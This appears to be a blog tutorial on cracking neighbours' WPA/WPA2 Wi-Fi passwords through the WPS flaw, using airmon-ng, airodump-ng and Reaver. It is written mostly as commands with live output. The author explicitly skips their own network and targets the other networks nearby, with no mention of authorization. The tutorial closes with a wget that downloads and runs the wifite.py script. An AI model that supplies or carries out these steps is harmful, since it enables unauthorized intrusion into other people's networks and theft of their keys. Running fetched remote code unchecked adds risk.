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Assuming all the tools are installed (http://code.google.com/p/reaver-wps/)

Reaver is an attack on WPA/WPA2 using a vulnerability in the WPS mechanism.

First up, we need to find out what our network cards are called, so use iwconfig to list wifi / network interfaces

eg

iwconfig

iwconfig
lo no wireless extensions.

wlan1 IEEE 802.11bgn Mode:Monitor Tx-Power=20 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Power Management:on

eth0 no wireless extensions.

wlan3 IEEE 802.11bg Mode:Monitor Tx-Power=20 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Power Management:on

In the above, we have wlan1 and wlan3 as possible interfaces.

Next up, we put the wifi card into monitor mode (pick a card)
Here I’m using wlan1

airmon-ng start

airmon-ng start wlan1

Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID Name
1791 avahi-daemon
1792 avahi-daemon

Interface Chipset Driver

wlan1 Unknown rt2800usb - [phy0]
(monitor mode enabled on mon0)
wlan3 RTL8187 rtl8187 - [phy3]

That creates another interface (mon0 above), that we can connect to.
Next, we need to list the various wifi lans in the vicinity

We can use the new interface to do so (or use any existing wifi interface, doesn’t really matter)


airodump-ng mon0

CH 13 ][ Elapsed: 20 s ][ 2012-10-20 08:39

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

EC:17:2F:F3:0F:A8 -35 21 241 0 7 54e WPA2 CCMP PSK First_Network
00:18:39:28:3B:2C -72 9 0 0 5 54 . WPA2 CCMP PSK Second_Network
00:25:BC:8D:4F:F5 -75 5 4 0 11 54e. WPA2 CCMP PSK Third_Network

BSSID STATION PWR Rate Lost Packets Probes

EC:17:2F:F3:0F:A8 74:E2:F5:4D:C5:11 -1 0e- 0 0 2
EC:17:2F:F3:0F:A8 00:04:20:16:5E:52 -52 48 -54 0 14
EC:17:2F:F3:0F:A8 70:56:81:C2:1B:3B -66 0e- 1e 0 6
EC:17:2F:F3:0F:A8 00:23:4E:7E:FC:B4 -74 0e- 1 0 3
EC:17:2F:F3:0F:A8 00:08:65:30:93:D3 -76 36 -12e 0 217

Here you can see that the interface see’s 3 separate networks.
It can also identify that First_Network has connections from a number of computers

Ideally, we want to sniff the network with the most traffic, in this case, thats my existing network, so we’ll skip it.

We can see that Second_Network is on Channel 5, and Third_Network is on channel 11

Now we have enough information to try to discover the key for the other networks.

Startup reaver, and connect to a BSSID above

reaver -i mon0 -b BSSID -a -vv -c CHANNEL

BSSID’s –
00:18:39:28:3B:2C – Second_Network Channel 5
00:25:BC:8D:4F:F5 – Third_Network Channel 11

eg


reaver -i mon0 -b 00:25:BC:8D:4F:F5 -vv -a -c11

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner

[+] Switching mon0 to channel 11
[+] Waiting for beacon from 00:25:BC:8D:4F:F5

This should connect to the network, and start to do its magic.

If you get issues like

[!] WARNING: Failed to associate with 00:25:BC:8D:4F:F5 (ESSID: Third_Network)

Then you need to try another with another wifi card chipset, as your drivers don’t support monitor mode correctly.

If it does connect, then you’re set. Let it run, and a few hours later, you should see the wifi name and password.

A much easier way to do all this, is of course to use the prepackaged scripts at

http://code.google.com/p/wifite/

wget -O wifite.py http://wifite.googlecode.com/svn/trunk/wifite.py

chmod +x wifite.py

./wifite.py

Then have fun..

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